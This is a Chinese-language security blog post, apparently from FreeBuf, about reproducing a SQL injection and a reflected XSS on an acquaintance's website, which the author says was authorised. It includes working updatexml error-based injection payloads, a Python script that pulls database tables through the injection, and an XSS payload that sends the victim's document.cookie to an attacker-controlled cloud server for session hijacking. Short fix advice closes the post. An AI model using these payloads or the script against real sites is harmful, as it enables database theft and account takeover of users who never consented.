前言
在某群里看到一位老哥的求助,给的一张awvs的扫描结果。通过询问得知,老哥对自己的服务器进行了扫描,扫出了sql注入,但是他好像是初学安全,无法复现,所以,在“好奇心”的驱使下,帮助他复现该漏洞。之后结合扫描结果截图,以及手测时的一些结果,猜测可能存在XSS漏洞。验证之...果然有。
申明:已经获得老哥的授权。切勿利用该漏洞用于不法操作。
SQL注入
AWVS扫描结果
可以清晰的看到,存在sql注入,并且未设置httponly属性。
验证
单引号报错,添加注释后页面正常回显,很明显是报错注入。
POC
#爆库
id=1' and updatexml(1,concat(0x7e,(select database() limit 0,1),0x7e),1) --+
#爆表
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
#爆字段
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='xxx_table' limit 0,1),0x7e),1) --+
爆破脚本
有些许问题,不过不是很影响。
import requests
from lxml import etree
import re
table_name=['xxx_table', 'xxx_table', 'xxx_table']
column_name=['id,data,codes_id','AdminId,FirstName,LastName','Id,AdminId,LoginTime']
url=r'http://www.xxx.xx/page.php?'
for i in range(3):
table=table_name[i]
column=column_name[i]
result=[]
for num in range(3):
# print(num,'...')
try:
tmp_url=url+"id=1' and updatexml(1,concat(0x7e,(select group_concat({}) from {} limit {},1),0x7e),1) --+".format(column,table,num)
response=requests.get(tmp_url)
response_text=response.text
tree=etree.HTML(response_text)
target_str=tree.xpath('/html/body/div/div[2]/p[2]/text()')[0]
name=re.findall(r"'~(.*?)'",target_str) #得到的是数组
result.append(name[0])
# print(tmp_url)
# print(num,'...name is..',name)
except:
continue
print(result)
sql注入修复建议
- 对输入数据的合法性进行检测:过滤关键字、特殊字符
- 对输出进行检测,防止二次注入
- 限制输入数据长度和类型
- 限制目录权限不可执行
- 采用预编译语句(将sql语句所执行的功能提前写好,从而不允许执行其他操作)
补充
用sqlmap跑了下,发现不是dba权限,遂无法提权,但很奇怪,老哥说是数据库是root,有可能是我太菜了吧。尝试获取其他数据,发现被加密。到此sql注入部分结束。
XSS
后续我想到的是自己用过union联合查询爆数据,发现存在回显位,猜测有可能对输出没有过滤/编码。且该请求时GET型的,遂尝试。
POC
id=-1'union select <script>alert(/xss/)</script>,2,3,4,5,6 --+
id=-1'union select <script>alert(document.cookie)</script>,2,3,4,5,6 --+
发现的确可以获取cookie,这就很nice了,如果我构造一条读取cookie的js,拼接到url中,然后发送给受害老哥,在他登录该站点的时候点了该url,那么就可以将cookie发送到我们的服务器中。
"钓鱼"
本地测试一下,在这个站点随便注册一个用户。
这里我遇到了个大坑,最开始没注意,忘了+号会变成空格,需要编码成%2b,所以浪费了很多的时间,不然20分钟弄完。
最终的POC可以也许转换成短链接,但是我测试没成功。
#poc
id=-1'union select <script>javascript:(location.href="http://云服务器_IP:6789/file.php?id="%2bdocument.cookie)</script>,2,3,4,5,6 --+
chrome浏览器先登录。
chrome打开该url。
然后在firefox浏览器上,添加该cookie即可。
step 1
step 2
云服务器开启监听
chrome浏览器打开
成功获取cookie
step 3
Firefox是需要登录的
添加cookie,这里使用了cookie editor插件
刷新
测试管理员账户
经过测试,手机打开链接是无法触发这个XSS的,于是老哥很慷慨的将账号密码告诉了我。。我怎么也没想到竟然是弱口令,因为只是简单的测试,所就没有爆破过。。以后一定要爆破组合密码。
#poc
id=-1'union select <script>javascript:(location.href="http://云服务器_IP:6789/file.php?id="%2bdocument.cookie)</script>,2,3,4,5,6 --+
操作步骤跟普通用户一样,不再赘述
Chrome浏览器登录,同网站打开链接,云服务器接收到Cookie,最后使用Firefox浏览器添加Cookie
XSS修复建议
过滤输入、输出
过滤特殊字符',",<,>,script,onmousevore,src等等
对输入的数据进行HTML转义,使其不会识别为可执行脚本
设置浏览器httponly属性
总结
Sql注入与XSS都是因为没有对输入输出数据的合法性进行检测(过滤、转义等)。根据过往自己的经验来看,有回显位置且存在sql注入的地方,也有可能存在xss。最后,手机端访问POC无法抓取到Cookie,可能存在防护,短链接无法成功的原因暂时不太清楚,直接明晃晃的发送POC太过显眼,正常人也不可能去点,肯定还有更高级的方法,我还需要不断的学习。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)